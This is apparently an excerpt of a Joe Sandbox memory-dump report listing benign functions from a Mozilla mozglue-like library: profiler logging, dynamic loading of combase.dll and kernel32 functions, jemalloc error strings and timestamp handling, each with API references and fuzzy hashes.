Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction ID: dbfb89039c02f222b4e8578100ebe23204c7e3c60010c0d8b7a0a5392eb98bc5
Opcode Fuzzy Hash: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction Fuzzy Hash: 0211E371209A05AFCB40AF58C8489A5B77DFF9635DB280015FA09A3F01CB71F861CBA1

Function 6C961FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C961FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C961FFD
__Init_thread_footer.LIBCMT ref: 6C962011
FreeLibrary.KERNEL32 ref: 6C962059

Strings

CoCreateInstance, xrefs: 6C961FF7
combase.dll, xrefs: 6C961FD9

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction ID: a05e65fbecb88758537929cf5cc8fa50c83dc609a7091692d6ff7701b3159862
Opcode Fuzzy Hash: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction Fuzzy Hash: 29115175209A05EFEF10CF55C84EE667B79EB86359F208419F905A3A80C731F890DFA1

Function 6C960EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C98D9F0,00000000), ref: 6C960F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C960F3C
__Init_thread_footer.LIBCMT ref: 6C960F50
FreeLibrary.KERNEL32(?,6C98D9F0,00000000), ref: 6C960F86

Strings

combase.dll, xrefs: 6C960F18
CoInitializeEx, xrefs: 6C960F36

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction ID: db76d53b309ef7e029be97d9141d51536daebdb60b8c645d9d77956a38dafc03
Opcode Fuzzy Hash: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction Fuzzy Hash: EC110630719A419BEF00CF55C949A693778EB8B32AF208619E905B3B80DB30F480CA69

Function 6C99F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F561

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F585
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C99F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C99F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C99F499
[I %d/%d] profiler_resume, xrefs: 6C99F239

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction ID: aa67c257549bbc056e8f111de936c12045696a46ba325a43ddb5548bf236ee4b
Opcode Fuzzy Hash: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction Fuzzy Hash: 27F0B475204A049FDB006F699C4C96A77BDEB9629EF294015FA09A3701CF31E84087B1

Function 6C99F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction ID: 8c8f31107bf0dabd3aea7ad4356660dd60110da7ec23acc7c525b99d64a93a69
Opcode Fuzzy Hash: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction Fuzzy Hash: 07F0B475204A04AFDF006F688C4C95A777DEB9625EF254015FA09A3701CB75E84587B1

Function 6C960E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C960DF8), ref: 6C960E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C960EA1
__Init_thread_footer.LIBCMT ref: 6C960EB5
FreeLibrary.KERNEL32 ref: 6C960EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C960E9B
kernel32.dll, xrefs: 6C960E7D

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction ID: 65fc3a797f989c6b03bbc0683c11bc91570c852e558421845a6d685752eb891e
Opcode Fuzzy Hash: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction Fuzzy Hash: D9014B74708A828BEF018FE9CA96BC273B5E766B1DF205525D901A3F80DB74F484CA56

Function 6C9905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C98CFAE,?,?,?,6C9531A7), ref: 6C9905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C98CFAE,?,?,?,6C9531A7), ref: 6C990616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9531A7), ref: 6C99061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9531A7), ref: 6C990627

Strings

<jemalloc>, xrefs: 6C9905FA, 6C99060F
: (malloc) Error in VirtualFree(), xrefs: 6C99061B, 6C990625

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction ID: 4ab761612b90a7cc9a4172cf68e3dfbe69a8d3ff13eb501e7c7b282a36168844
Opcode Fuzzy Hash: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction Fuzzy Hash: 1CE08CE2A0101037F614225ABC86DBB7A1CDBDA134F080039FE0D82741E94AFD1A51F7

Function 6C9605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction ID: 37056422203d542312f73db08791f16c3d8635f9fd490470ecfef97f7501e69f
Opcode Fuzzy Hash: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction Fuzzy Hash: 80A16A70A05605CFDB14CF29C984A99FBF5BF49304F5486AED44AA7B40D730BA95CF90

Function 6C9B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B14E2
GetCurrentThreadId.KERNEL32 ref: 6C9B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9B15BA
free.MOZGLUE(?), ref: 6C9B16B4

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction ID: 5603e48839bfa033874eb59e7bb1d8b95b75ccec8b4ea55c9fd9923afc74763e
Opcode Fuzzy Hash: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction Fuzzy Hash: 8561DF72A05700EBDB118F64C880BDEB7B5BF9A308F04851CED8A67711DB31E999CB91

Function 6C9A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A9FDB
free.MOZGLUE(?,?), ref: 6C9A9FF0
free.MOZGLUE(?,?), ref: 6C9AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9AA0BE
free.MOZGLUE(?,?), ref: 6C9AA0D5
free.MOZGLUE(?,?), ref: 6C9AA0EB

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction ID: e92d98efe0ba971143f20b948222a7e7f1b7473426a01bcc9f839b9d99cffe8e
Opcode Fuzzy Hash: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction Fuzzy Hash: 6261DF754096019FC751CF58C48059AB3F5FF98328F148669E8999B702EB32E986CFD1

Function 6C9ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9AD38A,?), ref: 6C9ADC6F
free.MOZGLUE(?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9AD38A,?), ref: 6C9ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9AD38A,?), ref: 6C9ADD4A

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction ID: 935987abb3a558640313b70b9eca53db3ade4ce5fc80780065d94d58081a4af8
Opcode Fuzzy Hash: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction Fuzzy Hash: 52419CB6A00605DFCB00CF99C88099AB7F5FF98304B654469DD05ABB10D731FC01CBA0

Function 6C996590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9967C8

Part of subcall function 6C9A4290: memcpy.VCRUNTIME140(?,?,6C9B2003,6C9B0AD9,?,6C9B0AD9,00000000,?,6C9B0AD9,?,00000004,?,6C9B1A62,?,6C9B2003,?), ref: 6C9A42C4

Strings

data, xrefs: 6C996593

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction ID: ab996b97badea893eaba6de8e0d50924e7c97fa7344ac8d40f2b1daa6674e183
Opcode Fuzzy Hash: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction Fuzzy Hash: 48D1DF71A093408FD764CF25C841B9FB7E5AFE5308F14892DE48997B91DB30E949CB92

Function 6C9AC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9AC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9AC842

Part of subcall function 6C9ACAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9CB5EB,00000000), ref: 6C9ACB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9AC863
std::_Facet_Register.LIBCPMT ref: 6C9AC875

Part of subcall function 6C98B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9CB636,?), ref: 6C98B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9AC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AC8BC

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction ID: de425f6e6c87dabd49fb10cc3ef8815e54e3b4c49c74c4dc543ed5eed866ae8f
Opcode Fuzzy Hash: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction Fuzzy Hash: BB11B675B046099BCB04DFA4C8899AE7BB9FF99354B200529E606AB340DB31E945CB91

Function 6C98D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C95EB57,?,?,?,?,?,?,?,?,?), ref: 6C98D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C95EB57,?), ref: 6C98D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C95EB57,?), ref: 6C98D673
free.MOZGLUE(?), ref: 6C98D888

Strings

|Enabled, xrefs: 6C98D81E

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction ID: ae2d65971eccd17b55a861f867e3a7f3383b642317c9b2e2e44136f856ecc815
Opcode Fuzzy Hash: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction Fuzzy Hash: E4A136B1A063099FDF00CF69C4907AEBBF5AF59318F58845ED885ABB41C731E845CBA1

Function 6C98F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C98F480

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

CloseHandle.KERNEL32(00000000), ref: 6C98F555

